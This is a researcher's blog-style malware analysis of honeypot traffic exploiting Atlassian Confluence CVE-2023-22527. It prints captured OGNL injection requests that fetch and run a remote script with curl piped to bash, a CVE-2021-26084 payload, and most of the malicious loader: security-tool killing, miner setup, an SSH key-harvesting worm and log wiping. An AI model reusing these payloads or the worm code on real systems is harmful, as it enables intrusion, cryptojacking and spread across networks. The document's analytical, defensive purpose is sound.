In January/2024, a new vulnerability burst onto the scene - CVE-2023-22527. As the next rising star, it came in with a blast, turning heads and creating buzz. “Atlassian Confluence bugs are often leveraged by attackers in the wild”, gushed industry publication Bleeping Computer back in January. “Customers must take immediate action to protect their Confluence instances”, warned Atlassian, adding “[w]e recommend engaging a specialist security firm for further investigation”. But now it’s been nearly two full months and CVE-2023-22527 is long forgotten - just a fading star of yesterweek. Hot new stars like JetBrains TeamCity (CVE-2024-27198) are being cast in the hit new drama series, but whatever happened to CVE-2023-22527? Well, despite rumors to the contrary, CVE-2023-22527 isn’t dead! Let’s see what it’s been up to in the weeks since it was all the rage. The state of the vulns Kidding aside, I decided to spend some time this week to look back at the various vulnerabilities from the past few months to see what’s going on - Fortra GoAnywhere, Ivanti ICS, Gitlab, Ivanti ICS, Ofviz, Ivanti ICS, etc. Most of them don’t have a ton of interesting traffic anymore - just a quiet hum of vulnerability scanners knocking on doors asking whoami and stuff like that (it’s plausible, of course, that attackers will come back later to attacks systems they discover to be vulnerable). I guess like other aging stars, their shine wears off as everybody forgets about them until there’s a big compromise. But Atlassian’s CVE-2023-22527 piqued my interest, because, even two months later, we’re still seeing a trickle of legitimate exploit activity. With somewhere in the realm of 4000 instances, it’s a super popular product. Let’s have a look at the activity! Over the past week, across our entire fleet of sensors we’ve seen around 350 POST requests to an affected endpoint - /template/aui/text-inline.vm. The requests mostly look like this: POST /template/aui/text-inline.vm HTTP/1.1 Host: User-Agent: Content-Length: 312 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Connection: close label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\[email protected]@getResponse().setHeader('Cmd',(new freemarker.template.utility.Execute()).exec({"curl http:///ldr.sh|bash"})) That exact exploit is remarkably similar to the ProjectDiscovery template, telling us that the attackers probably repurposed the scanner to do their exploitation: label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new freemarker.template.utility.Execute()).exec({"curl {{interactsh-url}}"}) It’s also quite similar to the Metasploit module (written by the same researchers): def inject_ognl(ognl, opts = {}) opts = opts.clone param = rand_text_alphanumeric(6..10) final_opts = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'template/aui/text-inline.vm'), 'vars_post' => { # label and param are both limited to a 200 character length by default 'label' => "\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.#{param},{})+\\u0027", param => ognl }.merge(opts.delete('vars_post') || {}) }.merge(opts) send_request_cgi(final_opts) end The Metasploit module has a few improvements over the Nuclei template, such as randomized keys, but by and large it’s the same. I looked for other variations by searching our honeypots for simply template.utility.execute (case insensitive), but no other results showed up; this appears to be it! It’s pretty safe to say that, based on the amount of exploit activity we’re seeing, anybody who has an unpatched host facing the internet is probably compromised. But who? Before we look at the payload, let’s take a look at what else is hitting our sensors. The traffic is mostly coming from one IP address. We’ve been seeing traffic from that address for a long time - at least back to 2021. That page notes that they’ve also been hitting the URI /pages/doenterpagevariables.action, which is related to CVE-2021-26084 - another Atlassian Confluence vulnerability I pulled all their traffic for the past 7 days to see what else they’re up to. Other than the vulnerability in question (CVE-2023-22527), we saw two other exploits being used. One of them is indeed CVE-2021-26084: POST /pages/doenterpagevariables.action HTTP/1.1 Host: User-Agent: Content-Length: 643 Connection: close Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027curl http:///ldr.sh|bash\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027curl http:///ldr.sh|bash\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027 Interestingly, this exploit fetches the same payload script as we saw in CVE-2023-22527, but has one glaring difference: it can detect and alter how it executes the code depending on whether it’s a Windows and Linux target (cmd.exe vs bash); however, in both cases it pipes the payload into bash and, as we’ll see, the backdoor it fetches doesn’t actually support Windows). That strongly implies that they stuck their script into somebody else’s payload. As such, I assumed that when I searched, I’d find some public payload that roughly matches that one, but I actually didn’t. Maybe they developed this themselves? Or, maybe they got it from a non-public source? Not sure! The second exploit is particularly odd: GET /manager/html HTTP/1.1 Host: User-Agent: Authorization: Basic YWZpaXNrYzpha2tja3g Connection: close Accept-Encoding: gzip That appears to be attempting to log into the Tomcat Manager using a hardcoded set of credentials: username afiiskc and password akkckx. Googling that didn’t turn up much - a couple defunct websites that were probably just echoing back that HTTP request, but nothing current or even available. What’s more, over the past week I see about 42,000 attempts to use that password from six different unrelated source IP addresses. I have no idea what that one is - possibly a backdoor? - but that can be a future mystery! But if you run Tomcat and that works to log in, please let me know :) The payload This is what I really wanted to get to - the payload! That is, the bash script called ldr.sh that’s downloaded and executed by the exploit. It looks like a lot of effort went into this script, and I wanted to take it apart. I’m certainly no forensics expert, but I do know bash scripting! I didn’t want to include the full (malicious) script, but the excerpts below contain 95%+ of the script, roughly ordered from top to bottom. Before we dig into the source, the TL;DR of what this does is: Stop or kill a bunch of security tools, inspection tools, software, and other malware Configure the system to be better at cryptocurrency mining Download and execute a cryptocurrency miner Attempt to spread to other systems with SSH-based trust relationships Remove a few different logfiles Now let’s look at each part of that in detail! Step 1: Kill security tools The bash script starts with the following attack code, which appears to be largely to kill security tools (comments are mine): # Ensure that the path is *only* the standard bin directories export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin # Upstream IP (intentionally censored by me) cc=http://IP> # This returns a random string, presumably to identify the host sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}') exe=$sys # A function to fetch a file in a variety of different ways and make it executable get() { curl -k $1>$2 || cc -k $1>$2 || wget --no-check-certificate -q -O- $1>$2 || curl $1>$2 || curl $1>$2 || ww -q -O- $1>$2 || ./dlr $1>$2 || ./dlr $1>$2 chmod +x $2 } # Disable preloaded libraries - presumably to evade security tools chattr -ia /etc/ld.so.preload cat /dev/null > /etc/ld.so.preload # Not sure about this mv /tmp/dlr dlr mv /var/tmp/dlr dlr # Remove a bunch of stuff from crontab crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr\|python\|curl\|wget\|\.sh/d' | crontab - # Remove mounted filesystems with numeric names - probably some sorta security tools? cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 % Then it kills a ton of different processes (note that pkill -f can match any part of the commandline - something I didn’t know!): pkill -9 -f b64decode pkill -9 -f MCf8 pkill -9 -f mysqldd pkill -9 -f monero pkill -9 -f kinsing pkill -9 -f sshpass pkill -9 -f sshexec pkill -9 -f cnrig pkill -9 -f attack pkill -9 -f dovecat pkill -9 -f javae pkill -9 -f donate pkill -9 -f 'scan\.log' pkill -9 -f xmr-stak pkill -9 -f crond64 pkill -9 -f stratum pkill -9 -f /tmp/java pkill -9 -f pastebin pkill -9 -f '/tmp/\.' pkill -9 -f 'so\.txt' pkill -9 -f 'bash -s 3673' pkill -9 -f 8005/cc5 pkill -9 -f /tmp/system pkill -9 -f '\./cliented' pkill -9 -f '\.inis' pkill -9 -f certutil pkill -9 -f excludefile pkill -9 -f agettyd pkill -9 -f kthreaddkk pkill -9 -f /dev/shm pkill -9 -f /var/tmp pkill -9 -f '\./python' pkill -9 -f '\./crun' pkill -9 -f 'bash -s kthreaddk' pkill -9 -f '\./\.' pkill -9 -f '118/cf\.sh' pkill -9 -f '\./lin64' pkill -9 -f 'confluence/install\.sh' pkill -9 -f 'unls64\.sh' pkill -9 -f '\./system-xfwm4-session' pkill -9 -f '\./httpd' pkill -9 -f xmrig pkill -9 -f kthreaddi pkill -9 -f loligang pkill -9 -f kthreaddw pkill -9 -f chmod pkill -9 '\.6379' pkill -9 'load\.sh' pkill -9 'init\.sh' pkill -9 'solr\.sh' pkill -9 '\.rsyslogds' pkill -9 sysDworker pkill -9 pnscan pkill -9 masscan pkill -9 juiceSSH pkill -9 sysguard pkill -9 kdevtmpfsi pkill -9 solrd pkill -9 polska pkill -9 meminitsrv pkill -9 networkservice pkill -9 sysupdate pkill -9 phpguard pkill -9 phpupdate pkill -9 networkmanager pkill -9 knthread pkill -9 mysqlserver pkill -9 gitlabkill pkill -9 watchbog pkill -9 bashirc pkill -9 zgrab I asked ChatGPT to tell me what each of the processes is, and here are the ones it thinks it could identify (no promise on the accuracy - I’m skeptical that things like mysqldd and dovecat might be some sorta malware (and, in fact, that’s correct)): mysqldd: MySQL monero: Monero cryptocurrency kinsing: Associated with a malware strain. sshpass: sshpass cnrig: Associated with Monero cryptocurrency mining. (No official website) dovecat: Likely a typo, it might refer to Dovecot, an IMAP and POP3 email server. xmr-stak: XMR-Stak crond64: Likely associated with the cron daemon. stratum: Likely associated with cryptocurrency mining. pastebin: Pastebin certutil: NSS (Network Security Services) agettyd: Likely associated with the agetty process. kthreaddkk: Likely a process name generated by malware. kthreaddk: Likely a process name generated by malware. system-xfwm4-session: Likely associated with Xfce window manager. httpd: Apache HTTP Server xmrig: XMRig kthreaddi: Likely a process name generated by malware. loligang: Likely associated with a malware strain. kthreaddw: Likely a process name generated by malware. solr.sh: Apache Solr .rsyslogds: Likely associated with rsyslog configuration or logs. sysDworker: Likely associated with SystemD. pnscan: Likely associated with a port scanner. masscan: Masscan juiceSSH: JuiceSSH kdevtmpfsi: Likely associated with the kdevtmpfsi malware. solrd: Apache Solr polska: Likely associated with a malware strain. meminitsrv: Likely associated with memory initialization server. sysupdate: Likely associated with system update processes. phpguard: Likely associated with PHP security. phpupdate: Likely associated with PHP updates. networkmanager: NetworkManager knthread: Likely a process name generated by malware. mysqlserver: MySQL Server watchbog: Likely associated with a malware strain. zgrab: ZGrab What’s fun is, at least some of those are other malicious softwares (like loligang, kthreaddi, dovecat, and others). Step 2: Mine bitcoins faster Next, it checks if the current user is root, and, if it is, it runs yy then tt: if [ `whoami` = "root" ];then yy tt else echo "error root!" fi # [...] function yy() { sysctl -w vm.nr_hugepages=$(nproc) for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d); do echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages"; done echo "1GB pages successfully enabled" } if grep -E 'AMD Ryzen|AMD EPYC' /proc/cpuinfo > /dev/null; then if grep "cpu family[[:space:]]\{1,\}:[[:space:]]25" /proc/cpuinfo > /dev/null; then if grep "model[[:space:]]\{1,\}:[[:space:]]97" /proc/cpuinfo > /dev/null; then echo "Detected Zen4 CPU" wrmsr -a 0xc0011020 0x4400000000000 wrmsr -a 0xc0011021 0x4000000000040 wrmsr -a 0xc0011022 0x8680000401570000 wrmsr -a 0xc001102b 0x2040cc10 echo "MSR register values for Zen4 applied" else echo "Detected Zen3 CPU" wrmsr -a 0xc0011020 0x4480000000000 wrmsr -a 0xc0011021 0x1c000200000040 wrmsr -a 0xc0011022 0xc000000401500000 wrmsr -a 0xc001102b 0x2000cc14 echo "MSR register values for Zen3 applied" fi else echo "Detected Zen1/Zen2 CPU" wrmsr -a 0xc0011020 0 wrmsr -a 0xc0011021 0x40 wrmsr -a 0xc0011022 0x1510000 wrmsr -a 0xc001102b 0x2000cc16 echo "MSR register values for Zen1/Zen2 applied" fi elif grep "Intel" /proc/cpuinfo > /dev/null; then echo "Detected Intel CPU" wrmsr -a 0x1a4 0xf echo "MSR register values for Intel applied" else echo "No supported CPU detected" fi At least some of that appears to be code from xmrig, which is mining software. You can probably see where we’re going with this! Step 3: Kill more security tools Once it finishes souping up the CPU, it tries to kill more security tools and competitors: for i in $(ls /proc|grep '[0-9]'); do if ls -al /proc/$i 2>/dev/null|grep -w kthreaddk; then continue fi if ls -al /proc/$i 2>/dev/null|grep exe|grep "ninja\|bin/perl\|/dev/shm\|firewall\|3AvA"; then kill -9 $i continue fi if grep -a 'donate-level' /proc/$i/exe 1>/dev/null 2>&1; then kill -9 $i fi done And removes security tools using, humorously, their uninstall scripts: if [ $(id -u) -eq 0 ]; then if ps aux|grep -i "[a]liyun"; then curl http://update.aegis.aliyun.com/download/uninstall.sh|bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh|bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux|grep -i "[y]unjing"; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi fi for i in $(ps -ef | grep -v grep | grep kthreaddk | awk '{print $2}'); do cat /proc/$i/exe | md5sum | grep "6db4f74c\|f316648e\|4a106ca9" if [ $? -ne 0 ]; then kill -9 $i fi done Step 4: Download and execute a miner Finally, it does something sorta interesting and uses the get script to download a file called cron, then executes it, then deletes it: ps -ef | grep -v bash | grep finfghsdhsda | grep -v grep if [ $? -ne 0 ]; then PATH=".:$PATH" get $cc/cron $sys $sys sleep 1 fi rm -rf /var/tmp/* /var/tmp/.* /tmp/* /tmp/.* $sys dlr (Sidenote: I thought only I used the pattern ps | grep [...] | grep -v grep!) A quick look at cron shows it’s a Linux executable: ubuntu@ron-quarantine:~/confluence$ file cron cron: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header Packed with UPX: ubuntu@ron-quarantine:~/confluence$ strings -n24 cron [...] $Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $ Which is, thankfully, easy to unpack (warning: be sure to use a quarantine for this sorta thing): ubuntu@ron-quarantine:~/confluence$ upx -d cron -o cron.unpacked Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 8966144 - 3365504 37.54% linux/amd64 cron.unpacked Unpacked 1 file. That turned out to be a big ol’ Go program with a bunch of references to cryptographic functions. It actually looks pretty similar to something called watchd0g from a blog I wrote about Ivanti, but not identical. VirusTotal says it’s a Bitcoin miner, which is consistent with my observations. Whatever it’s here to do, that’s probably it - as far as I can tell, that’s the only thing that keeps running after the script terminates. Step 5: Wormy worm Anyway, after it installs that, it does something kinda cute.. it enumerates SSH keys from a variety of SSH directories, then finds a bunch of potential SSH servers from .ssh/config, .bash_history, known_hosts, etc. For every key and host, it tries to connect to the server to run the same payload (but just once): _sig="$HOME/.localssh" if [ ! -f $_sig ]; then touch $_sig KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*'|grep -vw pub) KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep IdentityFile|awk -F "IdentityFile" '{print $2 }') KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem'|uniq) HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config|grep HostName|awk -F "HostName" '{print $2}') HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history|grep -E "(ssh|scp)"|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}") HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts|grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}"|uniq) USERZ=$( echo root find ~/ /root /home -maxdepth 2 -name '\.ssh'|uniq|xargs find|awk '/id_rsa/'|awk -F'/' '{print $3}'|uniq|grep -v "\.ssh" ) users=$(echo $USERZ|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-) hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3"|grep -vw 127.0.0.1|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-) keys=$(echo "$KEYS $KEYS2 $KEYS3"|tr ' ' '\n'|nl|sort -u -k2|sort -n|cut -f2-) for user in $users; do for host in $hosts; do for key in $keys; do chmod +r $key; chmod 400 $key ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl $cc/ldr.sh?ssh||curl $cc/ldr.sh?ssh2||wget -q -O- $cc/ldr.sh?ssh)|sh" done done done fi Basically, it tries do do a little wormy thing. Pretty neat! Note: If you have a file called $HOME/.localssh on your Confluence server, you should be concerned! Step 6: Clean some logs Finally, it clears out some logfiles before the script terminates: echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron Odds are high that it leaves some logs intact, but this is a good reminder that host-based logs are often insufficient due to potential tampering! And that’s it! I guess that’s it - an old exploit, a bitcoin miner, and a bit of worminess. Hope you enjoyed the read! If you like these “dive into an exploit” sorta posts, let me know - I love writing these, so I hope folks love reading them. Have a great day!